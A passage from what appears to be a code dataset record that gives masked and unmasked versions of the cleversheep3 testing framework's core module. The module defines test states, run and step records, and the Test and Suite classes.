self.item\n\n @property\n def info(self):\n return self.func.cs_test_info\n\n @property\n def isBroken(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('broken', None)\n if flag is None:\n flag = self.info.cs_flags.get('broken', False)\n return flag\n\n @property\n def isTodo(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n return self.info.cs_flags.get('todo', False)\n\n @property\n def isBug(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('bug', None)\n if flag is None:\n flag = self.info.cs_flags.get('bug', False)\n return flag\n\n @property\n def shouldFork(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n if self.info.reserved_cs_flags.get('fork', False):\n return True\n parent = self.parent\n try:\n return parent.suite.cs_attrs.fork_all\n except AttributeError:\n return False\n\n @property\n def testID(self):\n return self.info.cs_tags.get('testID', None)\n\n @property\n def title(self):\n return self.info.cs_flags.get('title', None)\n\n @property\n def isRunnable(self):\n if self.parent.exited:\n return False\n return True\n\n @property\n def state(self):\n rec = self.runRecord\n if rec:\n return rec.state\n return NOT_RUN\n\n @property\n def result(self):\n rec = self.runRecord\n if rec:\n return rec.result\n return NOT_RUN\n\n @property\n def hasRunProblem(self):\n rec = self.runRecord\n if rec:\n return rec.hasRunProblem\n return False\n\n @property\n def hasFailed(self):\n rec = self.runRecord\n if rec:\n return rec.hasFailed\n return False\n\n def addRunRecord(self, record):\n self._runHistory.append(record)\n if len(self._runHistory) > 5:\n self._runHistory[:] = self._runHistory[-5:]\n\n @property\n def runRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if self._runHistory:\n for rec in reversed(self._runHistory):\n if not rec.invalid:\n return rec\n\n @property\n def phaseRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if not self._runHistory:\n return None, None\n return self._runHistory[-1].phaseRecord\n\n def getStepRecord(self, phase):\n return self._runHistory[-1].getStepRecord(phase)\n\n def getTestProcedure(self):\n return self._collection.spec.getThing(self)\n\n\nclass NullTest(Test):\n amNull = True\n\n def __init__(self):\n context = Context.getContext(dirPath=os.getcwd())\n super(NullTest, self).__init__(None, None, None, context)\n self.number = 0\n self.startNewRun()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n @property\n def isBug(self):\n return False\n\n def __bool__(self):\n return False\n\n\nclass Suite(TestItem):\n typeName = 'Suite'\n isSuite = True\n\n def __init__(self, *args, **kwargs):\n self.myDir = kwargs.pop('myDir')\n super(Suite, self).__init__(*args, **kwargs)\n self.exited = False\n self.number = 0\n self.skipTests = False\n self.entered = False\n\n def reset(self):\n self.entered = False\n self.skipTests = False\n\n @intelliprop\n def children(self):\n \"\"\"All the direct children of this item.\"\"\"\n tests = [t for t in self._collection if t.parent is self]\n suites = [t for t in self._collection.suites if t.parent is self]\n return suites + tests\n\n @intelliprop\n def tests(self):\n \"\"\"All the direct test children of this item.\"\"\"\n return [t for t in self._collection if t.parent is self]\n\n @property\n def suite(self):\n return self.item\n\n @property\n def runAfter(self):\n \"\"\"The _run_after for this source.\"\"\"\n return self.namespace.get('_run_after', [])\n\n @property\n def postCheck(self):\n return self.namespace.get('postCheck', lambda : None)\n\n @property\n def setUp(self):\n return self.namespace.get('setUp', lambda : None)\n\n @property\n def postSetUp(self):\n return self.namespace.get('postSetUp', lambda : None)\n\n @property\n def tearDown(self):\n return self.namespace.get('tearDown', lambda : None)\n\n @property\n def suiteSetUp(self):\n return self.namespace.get('suiteSetUp', lambda : None)\n\n @property\n def suiteTearDown(self):\n return self.namespace.get('suiteTearDown', lambda : None)\n\n def getResult(self, name=None):\n runCount = 0\n childStates = {}\n result = Result(PASS, NONE)\n if not self.children:\n result.state = NOT_RUN\n return result\n for c in self.children:\n state = c.state\n runCount += state is not NOT_RUN\n childStates[state] = None\n if FAIL in childStates:\n result.state = CHILD_FAIL\n elif CHILD_FAIL in childStates:\n result.state = CHILD_FAIL\n elif BAD_SETUP in childStates:\n result.state = CHILD_FAIL\n elif PART_RUN in childStates:\n result.state = PART_RUN\n elif NOT_RUN in childStates:\n if runCount:\n result.state = PART_RUN\n else:\n result.state = NOT_RUN\n return result\n\n @property\n def result(self):\n return self.getResult()\n\n @property\n def state(self):\n result = self.getResult()\n return result.reportCode\n\n def hasTests(self):\n for t in self._collection:\n if t.parent is self:\n return True\n\n\nclass ModuleSuite(Suite):\n pass\n\n\nclass ClassSuite(Suite):\n\n @property\n def klass(self):\n return self.item.__class__.__name__\n\n\n<mask token>\n",
"step-4": "<mask token>\n\n\nclass StepRecord:\n <mask token>\n <mask token>\n <mask token>\n\n @property\n def state(self):\n return self.result\n <mask token>\n <mask token>\n\n\nclass StepRecordList:\n\n def __init__(self):\n self.entries = []\n\n\nclass RunRecord:\n \"\"\"A set of records containing all information about a single test's run.\n\n This stores multiple `StepRecord` instances. The records are stored in a\n dictionary keyed by the following names:\n\n setUp, tearDown, prevTearDown, rn\n Each maps to a single `StepRecord`.\n\n suiteSetUp, suiteTearDown, prevSuiteTearDown\n Each mapping to a list of `StepRecord` instances, in execution order.\n\n \"\"\"\n _simpleNames = 'setUp tearDown prevTearDown run postCheck'.split()\n _listNames = 'suiteSetUp suiteTearDown prevSuiteTearDown'.split()\n _recordNames = _simpleNames + _listNames\n _runTime = None\n\n def __init__(self):\n self.runTime = RunRecord._runTime\n self.invalid = False\n self._records = {}\n self.extraInfo = {}\n\n def __setstate__(self, state):\n self.invalid = False\n self.__dict__.update(state)\n\n @classmethod\n def startNewRun(cls):\n cls._runTime = time.time()\n\n @classmethod\n def finishRun(cls):\n cls._runTime = None\n\n def addStepRecord(self, name):\n \"\"\"Add a new phase record to this run record.\n\n Adds a new `StepRecord` for a test phase, which must be one of those\n defined for a `RunRecord`.\n\n :Parameters:\n name\n The name for the record. It must be the name of a defined test\n phase.\n\n :Return:\n The newly added `StepRecord` instance. This will always be a newly\n created instance.\n\n \"\"\"\n assert name in RunRecord._recordNames\n record = StepRecord()\n if name in RunRecord._simpleNames:\n assert name not in self._records\n self._records[name] = record\n else:\n if name not in self._records:\n self._records[name] = StepRecordList()\n self._records[name].entries.append(record)\n return record\n\n def getResult(self, name):\n pass\n\n @property\n def result(self):\n try:\n rec = self._records['setUp']\n except KeyError:\n pass\n else:\n if rec.state is not PASS:\n result = Result(BAD_SETUP, BAD_SETUP)\n return result\n try:\n rec = self._records['run']\n except KeyError:\n pass\n else:\n result = Result(rec.state, rec.reason)\n return result\n for rec in self._records.get('suiteSetUp', []):\n if rec.state is not PASS:\n return Result(NOT_RUN, BAD_SUITE_SETUP)\n try:\n rec = self._records['setUp']\n except KeyError:\n pass\n else:\n if rec.state is not PASS:\n return Result(NOT_RUN, BAD_SETUP)\n return Result(NOT_RUN, NONE)\n\n @property\n def state(self):\n try:\n rec = self._records['setUp']\n except KeyError:\n pass\n else:\n if rec.state is NOT_RUN:\n return NOT_RUN\n if rec.state not in (PASS, BUG, BUG_PASS):\n return BAD_SETUP\n try:\n rec = self._records['run']\n return rec.state\n except KeyError:\n pass\n return NOT_RUN\n\n @property\n def isRunnable(self):\n for name in ('suiteTearDown', 'tearDown', 'suiteSetUp', 'setUp'):\n try:\n if self._records[name].state not in (PASS, SKIPPED, NOT_RUN):\n return True\n except KeyError:\n pass\n return False\n\n @property\n def hasRunProblem(self):\n for name in ('tearDown', 'suiteTearDown', 'suiteSetUp', 'setUp',\n 'run', 'postCheck'):\n try:\n record = self._records[name]\n except KeyError:\n continue\n if name in ('tearDown', 'setUp', 'run', 'postCheck'):\n if record.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,\n BUG_PASS):\n return True\n else:\n for rec in record.entries:\n if rec.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,\n BUG_PASS):\n return True\n return False\n\n @property\n def hasFailed(self):\n for name in ('suiteSetUp', 'setUp', 'run'):\n try:\n record = self._records[name]\n except KeyError:\n continue\n if name in ('setUp', 'run'):\n if record.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,\n BUG_PASS):\n return True\n else:\n for rec in record.entries:\n if rec.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,\n BUG_PASS):\n return True\n return False\n\n @property\n def phaseRecord(self):\n \"\"\"Get the most recent phaseRecord.\n\n This is used to get the most pertinent record for this test; i.e. the\n one that provides the most useful result for the test.\n\n TODO: This is not yet well defined.\n\n \"\"\"\n for name in ('tearDown', 'run', 'setUp'):\n try:\n return name, self._records[name]\n except KeyError:\n pass\n seq = self._records.get('suiteSetUp', None)\n if seq is None:\n return None, None\n for ent in seq.entries:\n if ent.hasFailed:\n return 'suiteSetUp', ent\n return 'suiteSetUp', seq.entries[0]\n\n def getStepRecord(self, phase):\n \"\"\"Get the record details for a test run phase.\"\"\"\n ent = self._records.get(phase, None)\n if hasattr(ent, 'append'):\n seq = ent\n for ent in seq:\n if ent.hasFailed:\n return ent\n return seq.entries[0]\n if hasattr(ent, 'entries'):\n seq = ent.entries\n for ent in seq:\n if ent.hasFailed:\n return ent\n if seq:\n return seq[0]\n return\n return ent\n\n\nclass TestItem:\n \"\"\"Base class for `Test` and `Suite` classes.\n\n \"\"\"\n\n def __init__(self, item, uid, parentUid, context, namespace=None):\n \"\"\"Constructor:\n\n :Parameters:\n item\n The concrete test item. For a test function/method this is the\n function/method itself. For a `ClassSuite` this is the instance and\n for a `ModuleSuite` this is the the module instance.\n\n uid\n The unique ID for this item, which is a tuple of strings.\n\n parentUid\n The unique ID of the parent item or ``None``. Only the root `Suite`\n of a test tree has a parent of ``None``.\n\n namespace\n A dictionary that provides the containing namespace for the test\n item.\n\n \"\"\"\n self.item = item\n self.uid = uid\n self.context = context\n self.parentUid = parentUid\n self.namespace = self._getNamespace(namespace)\n self._collection = None\n self._running = False\n self._marks = {}\n self.extraInfo = {}\n\n def setMark(self, mark):\n self._marks[mark] = None\n\n def clearMark(self, mark):\n if mark in self._marks:\n del self._marks[mark]\n\n def isMarked(self, mark):\n return mark in self._marks\n\n def setCollection(self, collection):\n self._collection = weakref.proxy(collection)\n\n def setPhase(self, phase):\n self._phase = phase\n\n @intelliprop\n def state(self):\n \"\"\"The current state of the test.\n\n \"\"\"\n result = self.getResult()\n return result.state\n\n def setState(self, state):\n if state is PASS:\n pass\n\n @intelliprop\n def level(self):\n \"\"\"This item's level in the test tree.\n\n This is the number of ancestors this item has. If zero then this is\n the 'root' item.\n\n \"\"\"\n return len(self.ancestors)\n\n @intelliprop\n def parent(self):\n \"\"\"The parent of this item, which may be ``None``.\n\n If this is ``None`` then this item is the root of a (possibly nested)\n suite of tests.\n\n \"\"\"\n return self._collection.parent(self)\n\n @intelliprop\n def ancestors(self):\n \"\"\"A list of all ancestors for this item.\n\n Each entry is a UID. The first entry is the oldest ancesctor and the\n last entry is the immediate parent's UID.\n\n \"\"\"\n return self._collection.getAncestors(self)\n\n def hasFailingAncestor(self):\n \"\"\"Check if any ancestor is considered to have failed.\n\n An ancestor suite has failed if, for example, its ``suiteSetup``\n failed.\n\n :Return:\n ``True`` if any ancestors has failed.\n\n \"\"\"\n parent = self.parent\n if parent is None:\n return\n return\n return parent.hasFailed or parent.hasFailingAncestor()\n\n def _getNamespace(self, namespace=None):\n return namespace or dict([(n, getattr(self.item, n)) for n in dir(\n self.item)])\n\n @intelliprop\n def rawDoc(self):\n \"\"\"The raw docstring, no cleaning up performed at all.\"\"\"\n return self.namespace['__doc__']\n\n @intelliprop\n def docLines(self):\n \"\"\"The docstring as lines.\n\n This is cleaned up to remove leading and trailing blank lines from\n the summary and details.\n\n :Return:\n A sequence of (non-nul terminated) lines for the docstring. The\n summary (if present) is separated from the details by a single\n empty line.\n\n \"\"\"\n summary, description = self._getDocParts()\n if description:\n return summary + [''] + description\n return summary\n\n @intelliprop\n def doc(self):\n \"\"\"The docstring after being cleaned up.\n\n :Return:\n The cleaned up docstrinc as a multiline string. Leading and\n trailing blank lines are removed and the summary is separated from\n any details by a single blakn line. Common leading whitspace is\n also removed from each line.\n\n \"\"\"\n return '\\n'.join(self.docLines)\n\n def _getDocParts(self):\n lines = self.rawDoc.splitlines()\n while lines and not lines[0].strip():\n lines.pop(0)\n summary = []\n while lines and lines[0].strip():\n summary.append(lines.pop(0))\n while lines and not lines[0].strip():\n lines.pop(0)\n while lines and not lines[-1].strip():\n lines.pop()\n summary = summary[:1] + dedentLines(summary[1:])\n details = dedentLines(lines)\n return summary, details\n\n @property\n def summary(self):\n summary, description = self._getDocParts()\n return ' '.join(summary)\n\n @property\n def details(self):\n summary, description = self._getDocParts()\n return description\n\n @property\n def sourcesUnderTest(self):\n sources = []\n for p in self.namespace.get('sources_under_test', []):\n if not os.path.isabs(p):\n p = os.path.abspath(os.path.join(self.dirname, p))\n sources.append(p)\n p = self.parent\n if p is not None:\n sources.extend(p.sourcesUnderTest)\n return sources\n\n @property\n def klass(self):\n return None\n\n @property\n def path(self):\n p = self.namespace.get('__file__', None)\n if p is None:\n return self.parent.path\n if p.endswith('.pyc'):\n p = p[:-1]\n return p\n\n @property\n def dirname(self):\n f = self.path\n if f:\n return os.path.dirname(f)\n\n @property\n def isBug(self):\n return False\n\n\nclass Test(TestItem):\n typeName = 'Test'\n isSuite = False\n amNull = False\n\n def __init__(self, *args, **kwargs):\n super(Test, self).__init__(*args, **kwargs)\n self._runHistory = []\n self.stopAll = False\n if self.func:\n self.func.cs_test_info.test = weakref.proxy(self)\n\n def getHistory(self):\n return self._runHistory\n\n def dumpHist(self):\n return self._runHistory[-1].dump()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n def addStepRecord(self, name):\n runRecord = self._runHistory[-1]\n return runRecord.addStepRecord(name)\n\n @property\n def postCheck(self):\n return self.parent.postCheck\n\n @intelliprop\n def hasFailed(self):\n \"\"\"Check if this test has properly failed.\n\n :Return:\n ``True`` if the test has failed to run for any reason.\n\n \"\"\"\n record = self.getRunRecord().getRecord('run')\n return record.state is FAIL\n\n @property\n def klass(self):\n return self.parent.klass\n\n @property\n def funcName(self):\n return self.item.__name__\n\n @property\n def func(self):\n return self.item\n\n @property\n def info(self):\n return self.func.cs_test_info\n\n @property\n def isBroken(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('broken', None)\n if flag is None:\n flag = self.info.cs_flags.get('broken', False)\n return flag\n\n @property\n def isTodo(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n return self.info.cs_flags.get('todo', False)\n\n @property\n def isBug(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n flag = self.info.reserved_cs_flags.get('bug', None)\n if flag is None:\n flag = self.info.cs_flags.get('bug', False)\n return flag\n\n @property\n def shouldFork(self):\n if not hasattr(self, 'info'):\n raise PropertyError('%r has no attribute %r' % (self.__class__.\n __name__, 'info'))\n if self.info.reserved_cs_flags.get('fork', False):\n return True\n parent = self.parent\n try:\n return parent.suite.cs_attrs.fork_all\n except AttributeError:\n return False\n\n @property\n def testID(self):\n return self.info.cs_tags.get('testID', None)\n\n @property\n def title(self):\n return self.info.cs_flags.get('title', None)\n\n @property\n def isRunnable(self):\n if self.parent.exited:\n return False\n return True\n\n @property\n def state(self):\n rec = self.runRecord\n if rec:\n return rec.state\n return NOT_RUN\n\n @property\n def result(self):\n rec = self.runRecord\n if rec:\n return rec.result\n return NOT_RUN\n\n @property\n def hasRunProblem(self):\n rec = self.runRecord\n if rec:\n return rec.hasRunProblem\n return False\n\n @property\n def hasFailed(self):\n rec = self.runRecord\n if rec:\n return rec.hasFailed\n return False\n\n def addRunRecord(self, record):\n self._runHistory.append(record)\n if len(self._runHistory) > 5:\n self._runHistory[:] = self._runHistory[-5:]\n\n @property\n def runRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if self._runHistory:\n for rec in reversed(self._runHistory):\n if not rec.invalid:\n return rec\n\n @property\n def phaseRecord(self):\n \"\"\"The XXX TODO\"\"\"\n if not self._runHistory:\n return None, None\n return self._runHistory[-1].phaseRecord\n\n def getStepRecord(self, phase):\n return self._runHistory[-1].getStepRecord(phase)\n\n def getTestProcedure(self):\n return self._collection.spec.getThing(self)\n\n\nclass NullTest(Test):\n amNull = True\n\n def __init__(self):\n context = Context.getContext(dirPath=os.getcwd())\n super(NullTest, self).__init__(None, None, None, context)\n self.number = 0\n self.startNewRun()\n\n def startNewRun(self):\n rec = RunRecord()\n self._runHistory.append(rec)\n\n def abortRun(self):\n self._runHistory.pop()\n\n @property\n def isBug(self):\n return False\n\n def __bool__(self):\n return False\n\n\nclass Suite(TestItem):\n typeName = 'Suite'\n isSuite = True\n\n def __init__(self, *args, **kwargs):\n self.myDir = kwargs.pop('myDir')\n super(Suite, self).__init__(*args, **kwargs)\n self.exited = False\n self.number = 0\n self.skipTests = False\n self.entered = False\n\n def reset(self):\n self.entered = False\n self.skipTests = False\n\n @intelliprop\n def children(self):\n \"\"\"All the direct children of this item.\"\"\"\n tests = [t for t in self._collection if t.parent is self]\n suites = [t for t in self._collection.suites if t.parent is self]\n return suites + tests\n\n @intelliprop\n def tests(self):\n \"\"\"All the direct test children of this item.\"\"\"\n return [t for t in self._collection if t.parent is self]\n\n @property\n def suite(self):\n return self.item\n\n @property\n def runAfter(self):\n \"\"\"The _run_after for this source.\"\"\"\n return self.namespace.get('_run_after', [])\n\n @property\n def postCheck(self):\n return self.namespace.get('postCheck', lambda : None)\n\n @property\n def setUp(self):\n return self.namespace.get('setUp', lambda : None)\n\n @property\n def postSetUp(self):\n return self.namespace.get('postSetUp', lambda : None)\n\n @property\n def tearDown(self):\n return self.namespace.get('tearDown', lambda : None)\n\n @property\n def suiteSetUp(self):\n return self.namespace.get('suiteSetUp', lambda : None)\n\n @property\n def suiteTearDown(self):\n return self.namespace.get('suiteTearDown', lambda : None)\n\n def getResult(self, name=None):\n runCount = 0\n childStates = {}\n result = Result(PASS, NONE)\n if not self.children:\n result.state = NOT_RUN\n return result\n for c in self.children:\n state = c.state\n runCount += state is not NOT_RUN\n childStates[state] = None\n if FAIL in childStates:\n result.state = CHILD_FAIL\n elif CHILD_FAIL in childStates:\n result.state = CHILD_FAIL\n elif BAD_SETUP in childStates:\n result.state = CHILD_FAIL\n elif PART_RUN in childStates:\n result.state = PART_RUN\n elif NOT_RUN in childStates:\n if runCount:\n result.state = PART_RUN\n else:\n result.state = NOT_RUN\n return result\n\n @property\n def result(self):\n return self.getResult()\n\n @property\n def state(self):\n result = self.getResult()\n return result.reportCode\n\n def hasTests(self):\n for t in self._collection:\n if t.parent is self:\n return True\n\n\nclass ModuleSuite(Suite):\n pass\n\n\nclass ClassSuite(Suite):\n\n @property\n def klass(self):\n return self.item.__class__.__name__\n\n\n<mask token>\n",
"step-5": "\"\"\"Those things that are core to tests.\n\nThis module provides the most fundamental test entities, which include such\nthings as:\n\n- Tests\n- Suites\n- Test states\n\n\"\"\"\nfrom __future__ import print_function\n__docformat__ = \"restructuredtext\"\n\nimport os\nimport textwrap\nimport time\nimport weakref\nimport inspect\n\nfrom cleversheep3.Prog.Aspects import intelliprop\nfrom cleversheep3.Prog.Enum import Enum\n\nfrom cleversheep3.Test.Tester import Context\nfrom cleversheep3.Test.Tester import Coordinator\nfrom cleversheep3.Test.Tester import options\n\nState = Enum(\"State\")\n\n# Static test states.\nNOT_RUN = State(\"NOT_RUN\")\nPASS = State(\"PASS\")\nFAIL = State(\"FAIL\")\nSKIPPED = State(\"SKIPPED\")\nBROKEN = State(\"BROKEN\")\nDISABLED = State(\"DISABLED\")\nBUG = State(\"BUG\")\nBUG_PASS = State(\"BUG_PASS\")\nTODO = State(\"TODO\")\n\n# Dynamic test states.\nSET_UP = State(\"SET_UP\")\nTEAR_DOWN = State(\"TEAR_DOWN\")\nRUNNING = State(\"RUNNING\")\nFINISHED = State(\"FINISHED\") # TODO: To remove!\n\n# Suite specific states.\nCHILD_FAIL = State(\"CHILD_FAIL\")\nPART_RUN = State(\"PART_RUN\")\n\n# Reason codes. Note that this list is those codes that are only used as\n# reasons, some states are also used as reason code.\nNONE = State(\"NONE\")\nERROR = State(\"ERROR\")\nBAD_SETUP = State(\"BAD_SETUP\")\nBAD_SUITE_SETUP = State(\"BAD_SUITE_SETUP\")\nEXIT_SUITE = State(\"EXIT_SUITE\")\nEXIT_ALL = State(\"EXIT_ALL\")\nUSER_STOPPED = State(\"USER_STOPPED\")\n\ndef dedentLines(lines):\n return textwrap.dedent(\"\\n\".join(lines)).splitlines()\n\n\nclass TestInfo:\n \"\"\"Information about a test function.\n\n This class supports the ``@test(...)`` decorator that is used by\n cleversheep3 to mark test functions. All such marked functions are given\n an attribute called ``cs_test_info``, which is in an instance of this\n class.\n\n This is most commonly used in test filter functions, as registered by\n `addTestFilter`. When tests are marked using the ``@test`` decorator\n they can be given one or more tags and/or flags.\n\n Currently this is little more than a struct, except that it provides\n a `__getattr__` that returns ``None`` by default.\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n \"\"\"Constructor:\n\n :Parameters:\n args\n Non-keyword arguments are interpreted by the test framework.\n Each argument is a string. The supported forms are:\n\n plat:<platformType>\n The test will only be executed if ``<platformType>`` matches\n `Sys.Platform.platformType`. For example: ``\"plat:windows\"``.\n\n kwargs\n Any keyword arguments are simply stored as attributes. So, if\n you decorate a ``test_x`` with ``test(xyz=123)`` then\n ``test_x.cs_test_info.xyz`` will be ``123``.\n \"\"\"\n self.reserved_cs_flags = {}\n self.cs_flags = {}\n self.cs_tags = {}\n for arg in args:\n if \":\" in arg:\n name, value = arg.split(\":\", 1)\n self.cs_flags[name] = value\n else:\n self.cs_flags[arg] = True\n\n for name in kwargs:\n if name.startswith(\"cs_\"):\n self.reserved_cs_flags[name[3:]] = kwargs[name]\n else:\n self.cs_tags[name] = kwargs[name]\n self.reserved_cs_flags['defined_in_base'] = None\n\n def __getattr__(self, name):\n \"\"\"Attribute access:\n\n Provides read access to test method tags. For example, if you mark a\n test:<py>:\n\n @test(abc=\"Hello\")\n\n Then, if ``info`` is the test's `TestInfo` object, ``info.abc`` will\n be ``\"Hello\"``. If the test does not have ``abc`` set then the result\n is ``None``.\n \"\"\"\n if name in self.__dict__:\n return self.__dict__.get(name)\n return self.cs_tags.get(name, None)\n\n\nclass Result:\n \"\"\"Full result details for a test.\"\"\"\n def __init__(self, state, reason):\n self.state, self.reason = state, reason\n\n @property\n def reportCode(self):\n if self.reason is NONE:\n return self.state\n return self.reason\n\n\nclass StepRecord:\n \"\"\"A single record used to store informmation about the success or\n otherwise of a test phase.\n\n A test phase is one of:\n\n - A suite set-up/tear-down.\n - A test set-up/tear-down.\n - The execution of the test-method itself.\n\n :Ivariables:\n result\n TODO\n reason\n TODO\n\n \"\"\"\n def __init__(self, result=NOT_RUN, reason=NONE, details=None):\n self.result, self.reason = result, reason\n self.exc = None\n self.reported = False\n\n def setResult(self, state, reason=NONE, details=None):\n self._state, self._reason = state, reason\n self._details = details\n\n # TODO: Just transitional.\n @property\n def state(self):\n return self.result\n\n @property\n def hasFailed(self):\n return self.result in (FAIL, BAD_SETUP)\n\n def __str__(self):\n return \"StepRecord: %s/%s\" % (self.state, self.reason)\n\n\nclass StepRecordList:\n def __init__(self):\n self.entries = []\n\n\nclass RunRecord:\n \"\"\"A set of records containing all information about a single test's run.\n\n This stores multiple `StepRecord` instances. The records are stored in a\n dictionary keyed by the following names:\n\n setUp, tearDown, prevTearDown, rn\n Each maps to a single `StepRecord`.\n\n suiteSetUp, suiteTearDown, prevSuiteTearDown\n Each mapping to a list of `StepRecord` instances, in execution order.\n\n \"\"\"\n _simpleNames = \"\"\"setUp tearDown prevTearDown run postCheck\"\"\".split()\n _listNames = \"\"\"suiteSetUp suiteTearDown prevSuiteTearDown\"\"\".split()\n _recordNames = _simpleNames + _listNames\n _runTime = None\n\n def __init__(self):\n #assert RunRecord._runTime is not None\n self.runTime = RunRecord._runTime\n self.invalid = False\n self._records = {}\n self.extraInfo = {}\n\n def __setstate__(self, state):\n self.invalid = False\n self.__dict__.update(state)\n\n @classmethod\n def startNewRun(cls):\n cls._runTime = time.time()\n\n @classmethod\n def finishRun(cls):\n cls._runTime = None\n\n def addStepRecord(self, name):\n \"\"\"Add a new phase record to this run record.\n\n Adds a new `StepRecord` for a test phase, which must be one of those\n defined for a `RunRecord`.\n\n :Parameters:\n name\n The name for the record. It must be the name of a defined test\n phase.\n\n :Return:\n The newly added `StepRecord` instance. This will always be a newly\n created instance.\n\n \"\"\"\n assert name in RunRecord._recordNames\n record = StepRecord()\n if name in RunRecord._simpleNames:\n assert name not in self._records\n self._records[name] = record\n else:\n if name not in self._records:\n self._records[name] = StepRecordList()\n self._records[name].entries.append(record)\n return record\n\n def getResult(self, name):\n pass\n\n @property\n def result(self):\n # Is set-up failed then we report that as bad setup.\n try:\n rec = self._records[\"setUp\"]\n except KeyError:\n pass\n else:\n if rec.state is not PASS:\n result = Result(BAD_SETUP, BAD_SETUP)\n return result\n\n # See if the test was actually executed.\n try:\n rec = self._records[\"run\"]\n except KeyError:\n pass\n else:\n result = Result(rec.state, rec.reason)\n return result\n\n # Test was not run, so we need to find out why. A suite set-up\n # failure means we consider the test not-run.\n for rec in self._records.get(\"suiteSetUp\", []):\n if rec.state is not PASS:\n return Result(NOT_RUN, BAD_SUITE_SETUP)\n\n try:\n rec = self._records[\"setUp\"]\n except KeyError:\n pass\n else:\n if rec.state is not PASS:\n return Result(NOT_RUN, BAD_SETUP)\n\n return Result(NOT_RUN, NONE)\n\n @property\n def state(self):\n # If set-up failed then we report that as bad setup.\n try:\n rec = self._records[\"setUp\"]\n except KeyError:\n pass\n else:\n if rec.state is NOT_RUN:\n return NOT_RUN\n if rec.state not in (PASS, BUG, BUG_PASS):\n return BAD_SETUP\n\n # If the test has a 'run' entry then that defines the state.\n try:\n rec = self._records[\"run\"]\n #if rec.state is NOT_RUN:\n # return RUNNING\n return rec.state\n except KeyError:\n pass\n\n # Otherwise the state is not-run.\n return NOT_RUN\n\n @property\n def isRunnable(self):\n for name in (\"suiteTearDown\", \"tearDown\", \"suiteSetUp\", \"setUp\"):\n try:\n if self._records[name].state not in (PASS, SKIPPED, NOT_RUN):\n return True\n except KeyError:\n pass\n\n return False\n\n @property\n def hasRunProblem(self):\n for name in (\"tearDown\", \"suiteTearDown\", \"suiteSetUp\", \"setUp\",\n \"run\", \"postCheck\"):\n try:\n record = self._records[name]\n except KeyError:\n continue\n\n if name in (\"tearDown\", \"setUp\", \"run\", \"postCheck\"):\n if record.state not in (PASS, SKIPPED, NOT_RUN,\n TODO, BUG, BUG_PASS):\n return True\n else:\n for rec in record.entries:\n if rec.state not in (PASS, SKIPPED, NOT_RUN,\n TODO, BUG, BUG_PASS):\n return True\n\n return False\n\n @property\n def hasFailed(self):\n for name in (\"suiteSetUp\", \"setUp\", \"run\"):\n try:\n record = self._records[name]\n except KeyError:\n continue\n if name in (\"setUp\", \"run\"):\n if record.state not in (PASS, SKIPPED, NOT_RUN, TODO, BUG,\n BUG_PASS):\n return True\n else:\n for rec in record.entries:\n if rec.state not in (PASS, SKIPPED, NOT_RUN,\n TODO, BUG, BUG_PASS):\n return True\n\n return False\n\n @property\n def phaseRecord(self):\n \"\"\"Get the most recent phaseRecord.\n\n This is used to get the most pertinent record for this test; i.e. the\n one that provides the most useful result for the test.\n\n TODO: This is not yet well defined.\n\n \"\"\"\n for name in (\"tearDown\", \"run\", \"setUp\"):\n try:\n return name, self._records[name]\n except KeyError:\n pass\n #return None, None\n seq = self._records.get(\"suiteSetUp\", None)\n if seq is None:\n return None, None\n for ent in seq.entries:\n if ent.hasFailed:\n return \"suiteSetUp\", ent\n return \"suiteSetUp\", seq.entries[0]\n\n def getStepRecord(self, phase):\n \"\"\"Get the record details for a test run phase.\"\"\"\n ent = self._records.get(phase, None)\n if hasattr(ent, \"append\"): # Yurk!\n seq = ent\n for ent in seq:\n if ent.hasFailed:\n return ent\n return seq.entries[0]\n if hasattr(ent, \"entries\"): # Double yurk!\n seq = ent.entries\n for ent in seq:\n if ent.hasFailed:\n return ent\n if seq:\n return seq[0]\n return\n return ent\n\n\nclass TestItem:\n \"\"\"Base class for `Test` and `Suite` classes.\n\n \"\"\"\n def __init__(self, item, uid, parentUid, context, namespace=None):\n \"\"\"Constructor:\n\n :Parameters:\n item\n The concrete test item. For a test function/method this is the\n function/method itself. For a `ClassSuite` this is the instance and\n for a `ModuleSuite` this is the the module instance.\n\n uid\n The unique ID for this item, which is a tuple of strings.\n\n parentUid\n The unique ID of the parent item or ``None``. Only the root `Suite`\n of a test tree has a parent of ``None``.\n\n namespace\n A dictionary that provides the containing namespace for the test\n item.\n\n \"\"\"\n self.item = item\n self.uid = uid\n self.context = context\n self.parentUid = parentUid\n self.namespace = self._getNamespace(namespace)\n self._collection = None\n self._running = False\n self._marks = {}\n self.extraInfo = {}\n\n def setMark(self, mark):\n self._marks[mark] = None\n\n def clearMark(self, mark):\n if mark in self._marks:\n del self._marks[mark]\n\n def isMarked(self, mark):\n return mark in self._marks\n\n def setCollection(self, collection):\n self._collection = weakref.proxy(collection)\n\n # TODO: To remove.\n def setPhase(self, phase):\n self._phase = phase\n\n @intelliprop\n def state(self):\n \"\"\"The current state of the test.\n\n \"\"\"\n result = self.getResult()\n return result.state\n\n def 